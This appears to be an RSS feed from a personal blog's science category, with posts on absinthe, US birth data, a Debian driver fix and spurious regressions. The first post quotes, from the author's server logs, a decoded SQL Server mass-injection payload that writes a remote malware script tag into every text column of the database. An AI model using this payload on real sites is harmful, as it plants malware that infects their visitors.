<?xml version="1.0" encoding="utf-8" ?>

<rss version="2.0" 
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:admin="http://webns.net/mvcb/"
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
   xmlns:wfw="http://wellformedweb.org/CommentAPI/"
   xmlns:content="http://purl.org/rss/1.0/modules/content/"
   >
<channel>
    <title>Wcw - Science</title>
    <link>http://wcw.bignose.org/</link>
    <description>West-Coast Whiner</description>
    <dc:language>en</dc:language>
    <admin:errorReportsTo rdf:resource="mailto:blog@bignose.org" />
    <generator>Serendipity 1.5.2 - http://www.s9y.org/</generator>
    <managingEditor>wcw@bignose.org</managingEditor>
<webMaster>webmaster@bignose.org</webMaster>
<pubDate>Sun, 17 Aug 2008 04:52:50 GMT</pubDate>

    <image>
        <url>http://wcw.bignose.org/images/nobanner.png</url>
        <title>RSS: Wcw - Science - West-Coast Whiner</title>
        <link>http://wcw.bignose.org/</link>
        <width>1</width>
        <height>1</height>
    </image>

<item>
    <title>SQL injection for dilletantes</title>
    <link>http://wcw.bignose.org/index.php?/archives/330-SQL-injection-for-dilletantes.html</link>
            <category>Science</category>
    
    <comments>http://wcw.bignose.org/index.php?/archives/330-SQL-injection-for-dilletantes.html#comments</comments>
    <wfw:comment>http://wcw.bignose.org/wfwcomment.php?cid=330</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://wcw.bignose.org/rss.php?version=2.0&amp;type=comments&amp;cid=330</wfw:commentRss>
    

    <author>wcw@bignose.org (Wcw)</author>
    <content:encoded>
    &lt;a href=&quot;http://xkcd.com/327/&quot;&gt;&lt;div&gt;&lt;img src=&quot;http://imgs.xkcd.com/comics/exploits_of_a_mom.png&quot; alt=&quot;Did you really name your son Robert&#039;); DROP TABLE Students;-- ?&quot;&gt;&lt;div style=&quot;font-style: italic; margin-left: auto; margin-right: auto; width: 50%&quot;&gt;&lt;p&gt;xkcd.com P+C Randall Munroe&lt;/div&gt;&lt;/div&gt;&lt;/a&gt;So, you&#039;re a &lt;a href=&quot;http://wcw.bignose.org/index.php?serendipity[action]=search&amp;serendipity[searchTerm]=dilettantes&quot; title=&quot;the infamous &#039;dilettantes&#039; series&quot;&gt;dilettante&lt;/a&gt;.  You let your box get &lt;a href=&quot;https://wcw.bignose.org/index.php?/archives/19-Rooted.html&quot; title=&quot;bignose.org got rooted, if briefly, in July 2006&quot;&gt;rooted&lt;/a&gt; once.  Eventually, you figure, &quot;hey, let&#039;s &lt;a href=&quot;http://www.imdb.com/find?s=char&amp;q=Upgrayedd&quot; title=&quot;Upgrayedd&quot;&gt;upgrade&lt;/a&gt;!&quot;  So for the first time in a while I check logs.  What do I find but some odd errors:&lt;br /&gt;
&lt;blockquote cite=&quot;error.log&quot;&gt;...ALERT - configured GET variable value length limit exceeded - dropped variable..&lt;/blockquote&gt; to which the attendant request looked like &lt;blockquote cite=&quot;access.log&quot;&gt;&quot;GET /?;DeCLARE @S CHAR(4000);SET @S=CAST(0x4445434C41.. [snip long hex] AS CHAR(4000));ExEC(@S); HTTP/1.1&quot;&lt;/blockquote&gt;Let&#039;s translate:&lt;blockquote cite=&quot;using psql decode(&#039;[long hex]&#039;, &#039;hex&#039;)&quot;&gt;DECLARE @T varchar(255),@C varchar(4000)&lt;br /&gt;
DECLARE Table_Cursor CURSOR FOR&lt;br /&gt;
select a.name,b.name&lt;br /&gt;
from sysobjects a,syscolumns b&lt;br /&gt;
where a.id=b.id&lt;br /&gt;
and a.xtype=&#039;u&#039;&lt;br /&gt;
and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)&lt;br /&gt;
OPEN Table_Cursor&lt;br /&gt;
FETCH NEXT FROM Table_Cursor INTO @T,@C&lt;br /&gt;
WHILE(@@FETCH_STATUS=0) BEGIN&lt;br /&gt;
exec(&#039;update [&#039;+@T+&#039;] set [&#039;+@C+&#039;]=[&#039;+@C+&#039;]+&#039;&#039;&quot;&amp;gt;&lt;br /&gt;
&amp;lt;/title&amp;gt;&amp;lt;script src=&quot;http://www3.800mg.cn/csrss/w.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;!--&#039;&#039; where &#039;+@C+&#039; not like &#039;&#039;%&quot;&amp;gt;&amp;lt;/title&amp;gt;&lt;br /&gt;
&amp;lt;script src=&quot;http://www3.800mg.cn/csrss/w.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;!--&#039;&#039;&#039;)&lt;br /&gt;
FETCH NEXT FROM Table_Cursor INTO @T,@C&lt;br /&gt;
END&lt;br /&gt;
CLOSE Table_Cursor&lt;br /&gt;
DEALLOCATE Table_Cursor&lt;/blockquote&gt;This is explained pretty well &lt;a href=&quot;http://www.bloombit.com/Articles/2008/05/ASCII-Encoded-Binary-String-Automated-SQL-Injection.aspx&quot; title=&quot;it&#039;s not unreadable, really&quot;&gt;elsewhere&lt;/a&gt;.  There is a complicated solution.&lt;br /&gt;
&lt;br /&gt;
The joke here is that the solution is much easier.  One, do not to install your webserver and db so stupidly they&#039;ll execute any old thing appended to a GET request.  Two, consider not running &lt;a href=&quot;http://www.microsoft.com/sqlserver/&quot; title=&quot;I bet it looks pretty cool on the official site&quot;&gt;SQL Server&lt;/a&gt;, to which this attack is specific, and not running &lt;a href=&quot;http://www.microsoft.com/WINDOWS/&quot; title=&quot;&#039;nuf sed, right?&quot;&gt;Winders&lt;/a&gt;, to which malware ultimately is delivered.&lt;br /&gt;
&lt;br /&gt;
I am annoyed by seeing this crap in my logs, though.&lt;br /&gt;
&lt;br /&gt;
  
    </content:encoded>

    <pubDate>Sat, 16 Aug 2008 21:41:00 +0000</pubDate>
    <guid isPermaLink="false">http://wcw.bignose.org/index.php?/archives/330-guid.html</guid>
    
</item>
<item>
    <title>Alameda Absinthe</title>
    <link>http://wcw.bignose.org/index.php?/archives/313-Alameda-Absinthe.html</link>
            <category>Science</category>
    
    <comments>http://wcw.bignose.org/index.php?/archives/313-Alameda-Absinthe.html#comments</comments>
    <wfw:comment>http://wcw.bignose.org/wfwcomment.php?cid=313</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://wcw.bignose.org/rss.php?version=2.0&amp;type=comments&amp;cid=313</wfw:commentRss>
    

    <author>wcw@bignose.org (Wcw)</author>
    <content:encoded>
    &lt;a href=&quot;http://www.nytimes.com/2007/12/05/dining/05absi.html?pagewanted=all&quot;&gt;&lt;div&gt;&lt;img src=&quot;http://graphics8.nytimes.com/images/2007/12/04/dining/05absi450.1ab.jpg&quot; alt=&quot;St. George Spirits Absinthe Verte (Peter DaSilva/The New York Times)&quot;&gt;&lt;div style=&quot;font-style: italic; margin-left: auto; margin-right: auto; width: 50%&quot;&gt;&lt;p&gt;St. George Spirits Absinthe Verte&lt;br /&gt;(Peter DaSilva/The New York Times)&lt;/div&gt;&lt;/div&gt;&lt;/a&gt;&lt;blockquote cite=&quot;http://www.nytimes.com/2007/12/05/dining/05absi.html&quot;&gt;After a few tries, [Lance Winters of St. George Spirits] found that grand wormwood was best used in just the first step of absinthe making, when it is infused into grape brandy along with anise and fennel and then distilled, so its bitterness could be left behind in the still. In the second step, he infused a portion of what came out of the still with lemon balm, hyssop, tarragon and other botanicals, including a much less bitter cousin of grand wormwood. Finally this flavorful infusion is mixed back into the result of the first distillation.&lt;/blockquote&gt;&lt;p style=&quot;text-align: right; margin-right: 5%&quot;&gt;&lt;cite&gt;Pete Wells&lt;/cite&gt;, &lt;a href=&quot;http://www.nytimes.com/2007/12/05/dining/05absi.html?pagewanted=all&quot;&gt;A Liquor of Legend Makes a Comeback&lt;/a&gt;&lt;br /&gt;The New York Times, 5. December 2007&lt;/p&gt;&lt;br /&gt;
&lt;div&gt;&lt;img src=&quot;http://bp3.blogger.com/_DbuYN4yNX_A/R2xerNSdj0I/AAAAAAAAAB4/ALKSRqMPP64/s320/stamp.jpg&quot; alt=&quot;St. George Spirits Absinthe Verte first-issue stamp (Stephanie V. W. Lucianovic, I assume)&quot;&gt;&lt;div style=&quot;font-style: italic; margin-left: auto; margin-right: auto; width: 50%&quot;&gt;&lt;p&gt;St. George Spirits Absinthe Verte first-issue stamp (Stephanie V. W. Lucianovic, I assume)&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
&lt;blockquote cite=&quot;http://kqedbayareabites.blogspot.com/2007/12/worm-turns-absinthe-verte.html&quot;&gt;With the doors set to open at 11:00 on a Friday morning on December 21st, we thought we were playing it safe by arriving in Alameda at 10:30. However, as there were about 160 people in line ahead of us, clearly others were playing it safer. We were in line not even 20 minutes when the line behind us snaked and bulged exponentially. When the doors did finally open at 11:00, the news came out that they were allowing in groups of 10.&lt;/blockquote&gt;&lt;p style=&quot;text-align: right; margin-right: 5%&quot;&gt;&lt;cite&gt;Stephanie V. W. Lucianovic&lt;/cite&gt;, &lt;a href=&quot;http://kqedbayareabites.blogspot.com/2007/12/worm-turns-absinthe-verte.html&quot;&gt;The Worm Turns: Absinthe Verte&lt;/a&gt;&lt;br /&gt;bayareabites.blogspot.com, 21. December 2007&lt;/p&gt;&lt;br /&gt;
&lt;br /&gt;
The nearest &lt;a href=&quot;http://www.klwines.com/&quot;&gt;shop&lt;/a&gt; to me with an allocation sold out before release, but I put my order in for an allotment and got the maximum pair.  For now, the bottle on my bar and the one in my brother&#039;s luggage headed for Brazil (I think) then back to London are the only ones I&#039;ve seen.  Friends, neighbors and enthusiasts will have to visit for a sip until &lt;a href=&quot;http://www.stgeorgespirits.com/&quot;&gt;St. George&lt;/a&gt; gets on the horse and distills more.&lt;br /&gt;
&lt;br /&gt;
Still sealed for now, so no review.  I&#039;ll have to compare it to the now-well-distributed &lt;a href=&quot;http://www.drinklucid.com/&quot;&gt;Lucid&lt;/a&gt; and my old standby, the made-by-a-real-distiller &lt;a href=&quot;http://geo.ya.com/destilatorchert/absenta.htm&quot;&gt;Segarra&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
  
    </content:encoded>

    <pubDate>Sun, 30 Dec 2007 17:53:25 +0000</pubDate>
    <guid isPermaLink="false">http://wcw.bignose.org/index.php?/archives/313-guid.html</guid>
    
</item>
<item>
    <title>Java 2 Evil Edition</title>
    <link>http://wcw.bignose.org/index.php?/archives/253-Java-2-Evil-Edition.html</link>
            <category>Science</category>
    
    <comments>http://wcw.bignose.org/index.php?/archives/253-Java-2-Evil-Edition.html#comments</comments>
    <wfw:comment>http://wcw.bignose.org/wfwcomment.php?cid=253</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://wcw.bignose.org/rss.php?version=2.0&amp;type=comments&amp;cid=253</wfw:commentRss>
    

    <author>wcw@bignose.org (Wcw)</author>
    <content:encoded>
    &lt;a href=&quot;http://worsethanfailure.com/Articles/Classics-Week-The-Call-of-Codethulhu.aspx&quot;&gt;&lt;img src=&quot;http://img.worsethanfailure.com/images/200705/Java-Evil-Edition-orfjackal_net-lores.png&quot; alt=&quot;Java 2 Evil Edition logo&quot;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote cite=&quot;http://worsethanfailure.com/Articles/Classics-Week-The-Call-of-Codethulhu.aspx&quot;&gt;The Great Old Consultants worked day and night to create the great system that would come to be known as Codethulhu. They used only the most diabolical of materials: a Dell SatanicEdge sever, J2EE (Java 2 Evil Edition, not to be confused with Java 2 Enterprise Edition), and the souls of a thousand orphans. Once their work was complete, the Great Old Consultants vanished, never to be seen again.&lt;br /&gt;
&lt;br /&gt;
Tried as they might, the company was unable to summon back the Great Old Consultants. This was particularly problematic because the Great Old Consultants took with them, the source code. With no source code available, there was simply no way to fix bugs and make changes to their custom, multi-million dollar software. That is, until one engineer had an idea: they could decompile the Java bytecode.&lt;br /&gt;
&lt;br /&gt;
Decompiled code is not a very pretty thing. Many of the &quot;niceties&quot; of Java code -- comments, variable names, differentiation between FOR and WHILE loops -- are simply non-existent. And when the original code is developed by the Great Old Consultants, it becomes much worse than &quot;not very pretty.&quot; It becomes pure evil.&lt;/blockquote&gt;&lt;p style=&quot;text-align: right; margin-right: 5%&quot;&gt;&lt;cite&gt;Alex Papadimoulis&lt;/cite&gt;, &lt;a href=&quot;http://worsethanfailure.com/Articles/Classics-Week-The-Call-of-Codethulhu.aspx&quot;&gt;Classics Week: The Call of Codethulhu&lt;/a&gt;&lt;br /&gt;The Daily WTF, 7. May 2007&lt;/p&gt;&lt;br /&gt;
  
    </content:encoded>

    <pubDate>Tue, 08 May 2007 21:24:05 +0000</pubDate>
    <guid isPermaLink="false">http://wcw.bignose.org/index.php?/archives/253-guid.html</guid>
    
</item>
<item>
    <title>Generation Z</title>
    <link>http://wcw.bignose.org/index.php?/archives/248-Generation-Z.html</link>
            <category>Science</category>
    
    <comments>http://wcw.bignose.org/index.php?/archives/248-Generation-Z.html#comments</comments>
    <wfw:comment>http://wcw.bignose.org/wfwcomment.php?cid=248</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://wcw.bignose.org/rss.php?version=2.0&amp;type=comments&amp;cid=248</wfw:commentRss>
    

    <author>wcw@bignose.org (Wcw)</author>
    <content:encoded>
    &lt;a href=&quot;http://politicalcalculations.blogspot.com/2007/04/generations.html&quot;&gt;&lt;div&gt;&lt;img src=&quot;http://wcw.bignose.org/images/us-registered-births-1909-2004.JPG&quot; alt=&quot;US Registered Births, 1909-2004, chart P+C  Political Calculations 2007&quot;&gt;&lt;div style=&quot;font-style: italic; margin-left: auto; margin-right: auto; width: 50%&quot;&gt;&lt;p&gt;US Registered Births, 1909-2004, chart P+C  Political Calculations 2007&lt;/div&gt;&lt;/div&gt;&lt;/a&gt;&lt;br /&gt;
&lt;blockquote cite=&quot;http://politicalcalculations.blogspot.com/2007/04/generations.html&quot;&gt;&lt;table CELLSPACING=0&gt;&lt;tr style=&quot;background: #336666; color: #FFFFFF; font-weight: bold; font-size: large&quot;&gt;  &lt;th style=&quot;text-align: center; vertical-align: middle&quot; COLSPAN=5&gt;Highlights of US Registered Birth Data, 1909-2004&lt;/th&gt;&lt;/tr&gt;&lt;tr style=&quot;background: #99CCCC; color: #000000; font-weight: bold&quot;&gt;  &lt;th style=&quot;text-align: center; vertical-align: middle&quot;&gt;Generation (Years)&lt;/th&gt;  &lt;th style=&quot;text-align: center; vertical-align: middle&quot;&gt;Registered Births&lt;/th&gt;  &lt;th style=&quot;text-align: center; vertical-align: middle&quot;&gt;Peak Births (Year)&lt;/th&gt;  &lt;th style=&quot;text-align: center; vertical-align: middle&quot;&gt;Low Births (Year)&lt;/th&gt;  &lt;th style=&quot;text-align: center; vertical-align: middle&quot;&gt;Average Births&lt;/th&gt;&lt;/tr&gt;&lt;tr style=&quot;background: #FFFFFF&quot;&gt;  &lt;th style=&quot;text-align: left;   vertical-align: middle&quot;&gt;G.I. Generation (1909-1924)&lt;/th&gt;  &lt;th style=&quot;text-align: right;   vertical-align: middle&quot;&gt;46,316,000&lt;/th&gt;  &lt;th style=&quot;text-align: right;   vertical-align: middle&quot;&gt;3,055,000 (1921)&lt;/th&gt;  &lt;th style=&quot;text-align: right;   vertical-align: middle&quot;&gt;2,718,000 (1909)&lt;/th&gt;  &lt;th style=&quot;text-align: right;   vertical-align: middle&quot;&gt;2,894,750&lt;/th&gt;&lt;/tr&gt;&lt;tr style=&quot;background: #CCFFFF&quot;&gt;  &lt;th style=&quot;text-align: left;   vertical-align: middle&quot;&gt;Silent Generation (1925-1945)&lt;/th&gt;  &lt;th style=&quot;text-align: right;   vertical-align: middle&quot;&gt;55,332,000&lt;/th&gt;  &lt;th style=&quot;text-align: right;   vertical-align: middle&quot;&gt;3,104,000 (1943)&lt;/th&gt;  &lt;th style=&quot;text-align: right;   vertical-align: middle&quot;&gt;2,307,000 (1933)&lt;/th&gt;  &lt;th style=&quot;text-align: right;   vertical-align: middle&quot;&gt;2,634,857&lt;/th&gt;&lt;/tr&gt;&lt;tr style=&quot;background: #FFFFFF&quot;&gt;  &lt;th style=&quot;text-align: left;   vertical-align: middle&quot;&gt;Baby Boomer (1946-1964)&lt;/th&gt;  &lt;th style=&quot;text-align: right;   vertical-align: middle&quot;&gt;75,863,047&lt;/th&gt;  &lt;th style=&quot;text-align: right;   vertical-align: middle&quot;&gt;4,300,000 (1957)&lt;/th&gt;  &lt;th style=&quot;text-align: right;   vertical-align: middle&quot;&gt;3,411,000 (1946)&lt;/th&gt;  &lt;th style=&quot;text-align: right;   vertical-align: middle&quot;&gt;3,992,792&lt;/th&gt;&lt;/tr&gt;&lt;tr style=&quot;background: #CCFFFF&quot;&gt;  &lt;th style=&quot;text-align: left;   vertical-align: middle&quot;&gt;Generation X (1965-1981)&lt;/th&gt;  &lt;th style=&quot;text-align: right;   vertical-align: middle&quot;&gt;58,539,872&lt;/th&gt;  &lt;th style=&quot;text-align: right;   vertical-align: middle&quot;&gt;3,760,358 (1965)&lt;/th&gt;  &lt;th style=&quot;text-align: right;   vertical-align: middle&quot;&gt;3,136,965 (1973)&lt;/th&gt;  &lt;th style=&quot;text-align: right;   vertical-align: middle&quot;&gt;3,443,522&lt;/th&gt;&lt;/tr&gt;&lt;tr style=&quot;background: #FFFFFF&quot;&gt;  &lt;th style=&quot;text-align: left;   vertical-align: middle&quot;&gt;Generation Y (1982-1999)&lt;/th&gt;  &lt;th style=&quot;text-align: right;   vertical-align: middle&quot;&gt;70,125,668&lt;/th&gt;  &lt;th style=&quot;text-align: right;   vertical-align: middle&quot;&gt;4,158,212 (1990)&lt;/th&gt;  &lt;th style=&quot;text-align: right;   vertical-align: middle&quot;&gt;3,638,933 (1983)&lt;/th&gt;  &lt;th style=&quot;text-align: right;   vertical-align: middle&quot;&gt;3,895,870&lt;/th&gt;&lt;/tr&gt;&lt;tr style=&quot;background: #CCFFFF&quot;&gt;  &lt;th style=&quot;text-align: left;   vertical-align: middle&quot;&gt;Generation ??? (2000-2004+)&lt;/th&gt;  &lt;th style=&quot;text-align: right;   vertical-align: middle&quot;&gt;20,308,472&lt;/th&gt;  &lt;th style=&quot;text-align: right;   vertical-align: middle&quot;&gt;4,112,052 (2004)&lt;/th&gt;  &lt;th style=&quot;text-align: right;   vertical-align: middle&quot;&gt;4,021,726 (2002)&lt;/th&gt;  &lt;th style=&quot;text-align: right;   vertical-align: middle&quot;&gt;4,061,695&lt;/th&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/blockquote&gt;&lt;p style=&quot;text-align: right; margin-right: 5%&quot;&gt;&lt;cite&gt;Ironman&lt;/cite&gt;, &lt;a href=&quot;http://politicalcalculations.blogspot.com/2007/04/generations.html&quot;&gt;Generations&lt;/a&gt;&lt;br /&gt;Political Calculations, 30. April 2007&lt;/p&gt;  
    </content:encoded>

    <pubDate>Tue, 01 May 2007 05:29:36 +0000</pubDate>
    <guid isPermaLink="false">http://wcw.bignose.org/index.php?/archives/248-guid.html</guid>
    
</item>
<item>
    <title>Debian nvidia-glx/xserver-xorg quick fix</title>
    <link>http://wcw.bignose.org/index.php?/archives/238-Debian-nvidia-glxxserver-xorg-quick-fix.html</link>
            <category>Science</category>
    
    <comments>http://wcw.bignose.org/index.php?/archives/238-Debian-nvidia-glxxserver-xorg-quick-fix.html#comments</comments>
    <wfw:comment>http://wcw.bignose.org/wfwcomment.php?cid=238</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://wcw.bignose.org/rss.php?version=2.0&amp;type=comments&amp;cid=238</wfw:commentRss>
    

    <author>wcw@bignose.org (Wcw)</author>
    <content:encoded>
    &lt;a href=&quot;http://bugs.debian.org/&quot;&gt;&lt;div&gt;&lt;img src=&quot;http://lh3.ggpht.com/wcwhiner/SKJpSkDCqRI/AAAAAAAAAKU/NvYuXCzHNyA/s800/xorgfix.png&quot; alt=&quot;Xorg log warnings and one-line fix&quot;&gt;&lt;div style=&quot;font-style: italic; margin-left: auto; margin-right: auto; width: 50%&quot;&gt;&lt;p&gt;Xorg log warnings and one-line fix&lt;/div&gt;&lt;/div&gt;&lt;/a&gt;&lt;br /&gt;
It is time for another in my &#039;&lt;a href=&quot;http://wcw.bignose.org/index.php?serendipity[action]=search&amp;serendipity[searchTerm]=dilettantes&quot;&gt;dilettantes&lt;/a&gt;&#039; series.&lt;br /&gt;
&lt;br /&gt;
After upgrading my &lt;a href=&quot;http://packages.debian.org/xserver-xorg&quot;&gt;xserver-xorg&lt;/a&gt; to 1.3, I found the &lt;a href=&quot;http://packages.debian.org/nvidia-glx&quot;&gt;nvidia-glx&lt;/a&gt; package has a little &lt;a href=&quot;http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=420450&quot;&gt;problem&lt;/a&gt; which unfortunately takes down &lt;a href=&quot;windows&quot;&gt;X&lt;/a&gt;.  With trepidation, I installed the experimental distribution &lt;a href=&quot;http://packages.debian.org/experimental/x11/nvidia-kernel-source&quot;&gt;kernel module source&lt;/a&gt;, built it, and installed that distribution&#039;s version of &lt;a href=&quot;http://packages.debian.org/experimental/x11/nvidia-glx&quot;&gt;the driver&lt;/a&gt;, which worked, insofar as it brought up X again.&lt;br /&gt;
&lt;br /&gt;
Alas, there was a niggling bug after all.&lt;blockquote&gt;$ egrep &#039;^\((EE|WW)\)&#039; /var/log/Xorg.0.log.old&lt;br /&gt;
[snip]&lt;br /&gt;
(WW) Warning, couldn&#039;t open module wfb&lt;br /&gt;
(EE) Failed to load module &quot;wfb&quot; (module does not exist, 0)&lt;/blockquote&gt;It turns out that to fix &lt;a href=&quot;http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=406567&quot;&gt;this bug&lt;/a&gt; the experimental nvidia-glx needs &lt;a href=&quot;http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=414669&quot;&gt;a simple patch&lt;/a&gt;.  Or, you can perform the following one-line fix and the module will load correctly.&lt;blockquote&gt;# cd /usr/lib/xorg/modules&lt;br /&gt;
# ln -s libnvidia-wfb.so.1.0.9746 libwfb.so&lt;/blockquote&gt;Et voila, more system administration for dilettantes.&lt;br /&gt;
&lt;br /&gt;
  
    </content:encoded>

    <pubDate>Sun, 22 Apr 2007 14:52:21 +0000</pubDate>
    <guid isPermaLink="false">http://wcw.bignose.org/index.php?/archives/238-guid.html</guid>
    
</item>
<item>
    <title>The quantity theory of sunspots</title>
    <link>http://wcw.bignose.org/index.php?/archives/228-The-quantity-theory-of-sunspots.html</link>
            <category>Science</category>
    
    <comments>http://wcw.bignose.org/index.php?/archives/228-The-quantity-theory-of-sunspots.html#comments</comments>
    <wfw:comment>http://wcw.bignose.org/wfwcomment.php?cid=228</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://wcw.bignose.org/rss.php?version=2.0&amp;type=comments&amp;cid=228</wfw:commentRss>
    

    <author>wcw@bignose.org (Wcw)</author>
    <content:encoded>
    &lt;a href=&quot;ftp://ftp.ngdc.noaa.gov/STP/SOLAR_DATA/SUNSPOT_NUMBERS/info.ssn&quot;&gt;&lt;div&gt;&lt;img src=&quot;http://wcw.bignose.org/images/sunspots.a.png&quot; alt=&quot;Annual sunspot number, 1700-2006&quot;&gt;&lt;div style=&quot;font-style: italic; margin-left: auto; margin-right: auto; width: 50%&quot;&gt;&lt;p&gt;Annual sunspot number, 1700-2006&lt;/div&gt;&lt;/div&gt;&lt;/a&gt;&lt;br /&gt;
&lt;blockquote cite=&quot;http://schwert.ssb.rochester.edu/jme78.pdf&quot;&gt;&lt;em&gt;3.2  The quantity theory of sunspots&lt;/em&gt;&lt;br /&gt;
&lt;br /&gt;
Now let us consider another model which hypothesizes that income is related to sunspots.  Although most economists would dismiss such a theory out of hand, variants on this theme have been taken quite seriously by some, including Jevons (1884).  We might refer to this theory as &#039;the quantity theory of sunspots&#039;.  In particular, we are concerned with the relationship between the log nominal income, &lt;em&gt;y&lt;sub&gt;t&lt;/sub&gt;&lt;/em&gt;, and the log of accumulated sunspots, &lt;em&gt;s&lt;sub&gt;t&lt;/sub&gt;&lt;/em&gt;.&lt;sup&gt;18&lt;/sup&gt;  One way of proceeding would be to estimate the levels regression of &lt;em&gt;y&lt;sub&gt;t&lt;/sub&gt;&lt;/em&gt; on &lt;em&gt;s&lt;sub&gt;t&lt;/sub&gt;&lt;/em&gt;.  In column 1 of table 2, we present the results of this calculation.  The results of this levels regression are striking at first glance.  The coefficient of &lt;em&gt;s&lt;sub&gt;t&lt;/sub&gt;&lt;/em&gt; has a &lt;em&gt;t&lt;/em&gt;-statistic of 17.1 and is significantly different from zero at the 1% level using the usual test procedure.  The adjusted &lt;em&gt;R&lt;sup&gt;2&lt;/sup&gt;&lt;/em&gt; os 0.827, which suggests that the log of accumulated sunspots explains over 82% of the variance of the log of nominal income.&lt;br /&gt;
&lt;br /&gt;
[...]&lt;br /&gt;
&lt;br /&gt;
&lt;sup&gt;18&lt;/sup&gt;&lt;sub&gt;Another way of stating this theory is that the rate of growth of income is affected by the level of sunspots.  Therefore, the level of income is determined by total sunspots since 1897.  The data are monthly averages for the year and are taken from Jabobs (1960).&lt;/sub&gt;&lt;/blockquote&gt;&lt;p style=&quot;text-align: right; margin-right: 5%&quot;&gt;&lt;cite&gt;Plosser, C. and Schwert, W.&lt;/cite&gt;, &lt;a href=&quot;http://schwert.ssb.rochester.edu/jme78.pdf&quot;&gt;Money, Income and Sunspots&lt;/a&gt; (PDF, 1.0 MB)&lt;br /&gt;Journal of Monetary Economics, November 1978&lt;/p&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;&lt;img src=&quot;http://www.bignose.org/~wcw/sunspots.ca.png&quot; alt=&quot;Cumulative annual sunspot number, 1700-2006&quot;&gt;&lt;div style=&quot;font-style: italic; margin-left: auto; margin-right: auto; width: 50%&quot;&gt;&lt;p&gt;Cumulative annual sunspot number, 1700-2006&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
&lt;blockquote cite=&quot;http://schwert.ssb.rochester.edu/jme78.pdf&quot;&gt;Closer inspection, however, reveals that the residuals in this regression are highly autocorrelated (&lt;em&gt;r&lt;sub&gt;1&lt;/sub&gt;&lt;/em&gt;=0.90).  In the second column we include a time trend variable and find that the coefficient of &lt;em&gt;s&lt;sub&gt;t&lt;/sub&gt;&lt;/em&gt; falls substantially, but it is significant at the 10% level based on a conventional &lt;em&gt;t&lt;/em&gt;-test.  The time trend coefficient is positive and has a very large &lt;em&gt;t&lt;/em&gt;-statistic, indicating that the trend in both income and accumulated sunspots may be an important omitted variable in the levels regression; however, the residuals from the time trend model are highly autocorrelated.&lt;br /&gt;
&lt;br /&gt;
The Cochrane-Orcutt model estimates are given in column 3.  Note that &lt;em&gt;&amp;rho;&lt;sub&gt;1&lt;/sub&gt;&lt;/em&gt; is very near 1 and that the coefficient of &lt;em&gt;s&lt;sub&gt;t&lt;/sub&gt;&lt;/em&gt; is reduced, and no longer different from zero at the 10% level of significance.&lt;sup&gt;19&lt;/sup&gt;  Similar conclusions are reached about the effect of accumulated sunspots on income from the first differences regression of &lt;em&gt;&amp;Delta;y&lt;sub&gt;t&lt;/sub&gt;&lt;/em&gt; on &lt;em&gt;&amp;Delta;s&lt;sub&gt;t&lt;/sub&gt;&lt;/em&gt; (column 4), or the second differences regression of &lt;em&gt;&amp;Delta;&lt;sup&gt;2&lt;/sup&gt;y&lt;sub&gt;t&lt;/sub&gt;&lt;/em&gt; on &lt;em&gt;&amp;Delta;&lt;sup&gt;2&lt;/sup&gt;s&lt;sub&gt;t&lt;/sub&gt;&lt;/em&gt; (column 5), where the latter model is probably an overdifferenced model.  Therefore, it is once again apparent that conclusions drawn from a model with residuals that behave like a random walk are often far more misleading than conclusions drawn from a model with residuals which display the characteristics of overdifferencing.&lt;/blockquote&gt;&lt;p style=&quot;text-align: right; margin-right: 5%&quot;&gt;&lt;cite&gt;Plosser, C. and Schwert, W.&lt;/cite&gt;, &lt;a href=&quot;http://schwert.ssb.rochester.edu/jme78.pdf&quot;&gt;Money, Income and Sunspots&lt;/a&gt; (PDF, 1.0 MB)&lt;br /&gt;Journal of Monetary Economics, November 1978&lt;/p&gt;&lt;br /&gt;
&lt;br /&gt;
A worthy lesson.&lt;br /&gt;
&lt;br /&gt;
Unless you think income is related to accumulated sunspots.&lt;br /&gt;
&lt;br /&gt;
  
    </content:encoded>

    <pubDate>Sun, 08 Apr 2007 17:49:14 +0000</pubDate>
    <guid isPermaLink="false">http://wcw.bignose.org/index.php?/archives/228-guid.html</guid>
    
</item>
<item>
    <title>Chevrons, craters and tsunamis, oh my</title>
    <link>http://wcw.bignose.org/index.php?/archives/150-Chevrons,-craters-and-tsunamis,-oh-my.html</link>
            <category>Science</category>
    
    <comments>http://wcw.bignose.org/index.php?/archives/150-Chevrons,-craters-and-tsunamis,-oh-my.html#comments</comments>
    <wfw:comment>http://wcw.bignose.org/wfwcomment.php?cid=150</wfw:comment>

    <slash:comments>3</slash:comments>
    <wfw:commentRss>http://wcw.bignose.org/rss.php?version=2.0&amp;type=comments&amp;cid=150</wfw:commentRss>
    

    <author>wcw@bignose.org (Wcw)</author>
    <content:encoded>
